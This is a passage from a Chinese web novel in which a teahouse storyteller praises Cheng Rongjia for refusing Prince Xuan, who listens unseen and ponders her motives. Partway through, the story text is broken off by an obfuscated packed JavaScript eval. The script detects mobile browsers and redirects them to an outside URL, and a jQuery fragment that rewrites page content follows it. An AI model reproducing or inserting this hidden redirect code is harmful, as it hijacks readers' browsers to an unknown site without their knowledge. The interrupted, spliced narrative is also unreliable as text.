说书人一口气说了个痛快,底下的人也是一脸的意犹未尽。
“这么说,是那个小妾生的庶女抢了嫡女的姻缘,替她嫁了王子皇孙?”
“所以现在在王府里的那个娘娘是鸠占鹊巢的,而少夫人只能嫁给了一个五品武将?”
闲人们七嘴八舌地补完了剧情,连他们这样的人,都觉得程容珈也忒惨了些,堂堂大小姐,竟被一个庶妹夺了天命。
“是也不是。”
说书人摇了摇手指,一副高深莫测的模样,“少夫人那是有情有义,自己信守诺言下嫁小小五品武官的。
当初王爷见送来的是个麻雀并非凤凰,哪里肯从,怎奈少夫人一心只嫁指挥使大人,对面前的滔天富贵视若不见。
钗在奁中待时飞,人家哪怕不做王妃,也依旧是品貌无双的上京第一美人儿,现在更是大慈大悲的现世菩萨,所以那玉颜阁生意才能那么好。”
听到这里,众人终于哦地一声恍然大笑起来,原来是少夫人没选宣王的,看看人这气度,这骨气,怪不得现在能捐出这么多衣物呢。
这人与人就是有差距的啊,那个什么庶女虽然抢了程容珈进王府的机会,但说到底还不只是个妾,上不得台面的东西,哪儿配和手握玉颜阁的少夫人比?
听了这么一出热闹,众人都口无遮拦的叽叽喳喳吵闹起来,丝毫没有注意到二楼雅间里,有一双眼睛正饶有兴味地看着这一幕。
“胆敢如此议论皇族密辛,编排王府内宅,殿下,要不要属下去抓几个不长眼的杀鸡儆猴!”
一旁的侍从小心问着。
没错,躺在这雅间里优哉游哉听说书的,正是刚刚这些人口中的王子皇孙,也是那个被程容珈瞧不上的怨种宣王。
“不用,别人也没说错什么啊,当初程容珈,可不就是没看上本王吗?”
祁奕慢慢剥开了一粒豆子,自嘲地笑了笑,丢进嘴里。
何止是没看上,分明就是避如蛇蝎,宁愿忤逆父命也要拒婚,不要自己的侧妃之位,却是心甘情愿的做一个籍籍无名之辈的夫人。
他起初也想不通过,为何会有女人能拒绝这样的诱惑,接受
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16625885|178325||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么都不如自己的庶妹骑在自己头上。
现在经过一年多,和徐家明里暗里的交锋,他好像有些渐渐明白了。
程容珈这个女人很清醒,知道自己想要什么,也很理智,压根不会被程清菱那低级的挑衅打动。
所以自己许诺给她的侧妃之位,宣王府宠妾的荣耀和显赫,在她眼里,压根就不算什么。
不过,他最近也还有其他猜想,那就程容珈对自己的这种避如蛇蝎,是有前因后果的。
比如说,她和自己一样,曾梦见过那些让人头皮发麻的谶梦,他知道自己,知道徐家的结局,所以她选了最安全的道路。
“不管怎么说,这女人都不简单,徐镇能娶到她,的确是如虎添翼了。”
宣王最后悠悠地说了一句。
此时堂下的人们,已经说到了逐渐劣势的战局,有不忿者拍桌而起,“一个大门不出二门不迈的妇人,都能够有此等德行体恤民生,支援前线。
我等堂堂七尺男儿,怎能龟缩在此让那等叛逆作乱!我也要去报军卫国了。”